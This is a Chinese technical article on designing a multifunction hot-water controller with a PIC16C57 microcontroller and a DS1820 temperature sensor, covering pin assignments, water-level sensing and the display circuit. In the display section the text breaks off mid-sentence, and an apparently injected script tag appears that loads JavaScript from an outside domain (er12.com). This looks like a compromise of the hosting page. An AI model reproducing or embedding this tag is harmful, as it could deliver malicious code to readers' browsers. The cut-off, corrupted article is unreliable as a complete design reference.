基于PIC单片机的热水控制器设计

本文介绍了用pic16c57单片机设计的一种多功能热水控制器,具有自动和手动加水、设置水温、实时显示水量及温度和报警功能,并且具有结构简单、可靠性高、成本低等特点。

  关键词: pic单片机;ds1820数字温度传感器;热水控制器

  引言

  当前市场上的热水控制器基本上采用双金属片温控,控温精度低、可靠性差、功能单一。随着微电子技术的发展,单片微处理器功能日益增强,价格低廉,在各方面得到广泛应用。在热水控制器中应用单片机,具有设计简单、可靠性高、功能易扩展等优点。

  热水控制器主要实现对水温的控制,并满足不同用户的个性需求。因此一个较完善的控制器应具有以下功能:

  水温的测量与显示;

  水量的测量与显示;

  用户设定功能(如水温设定,定时设定等);

  对电加热管的控制功能;

  一些功能键(如定时自动加水,恒温控制,手动加水,手动加热等)。

  安全措施(漏电检测,安全失效保护,限温保护等)。

图1 总体布局图

2(a)基本温度水温测量电路

图2 (b)基本显示电路图

图2(c)水闸加热管控制电路

  硬件电路设计

  根据热水控制器的功能要求,并结合对pic16c5x系列单片机的资源分析,采用此系列中的主流型号pic16c57作为电路系统的控制核心。电热水控制器的总体布局如图1所示。

  基本硬件电路图如图2(a)~(c)所示。在本系统中,ra0~ra3用于七段码显示,rb6控制水闸开关,rb7控制电加热管,rc3~rc5用于按键设计和读取水量,rc0~rc2用于跟ds1820通信进行水温测量,rb0~rb1对七段码进行扫描,rb2~rb5 led指示灯显示,rc6漏电检测,rc7控制扬声器用于报警和指示。

  水温测量电路

  测温元件采用dallas的单线数字温度传感器ds1820。ds1820提供九位温度读数,测量范围-55℃~125℃,采用独特1-wire 总线协议,只需一根口线即实现与mcu的双向通讯,具有连接简单,高精度,高可靠性等特点。在工作时,通过总线向其提供电源,单片机发出指令码读取温度值。

  键盘与水量测量电路

  由于在本系统中,只要求显示四个档位的水量值,因此水量传感器采用的是开关式传感器,当水量达到某一档时会拉低该档电平,接口电路与按键按下类似。因此在电路设计中,将水量档位信号与按键通过一片74hc148优先编码器连接到单片机的i/o口上。按键的优先权高于水量信号,水量高档位信号优先权高于低档位信号,以保证能优先响应按键。

  显示电路

  温度采用二位七段码显示,显示范围0℃~99℃。水量采用一位七段显示,显示1、2、3、4,四档水位。对温度和水量进行循环扫描显示。四个led用于当前按键功?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计
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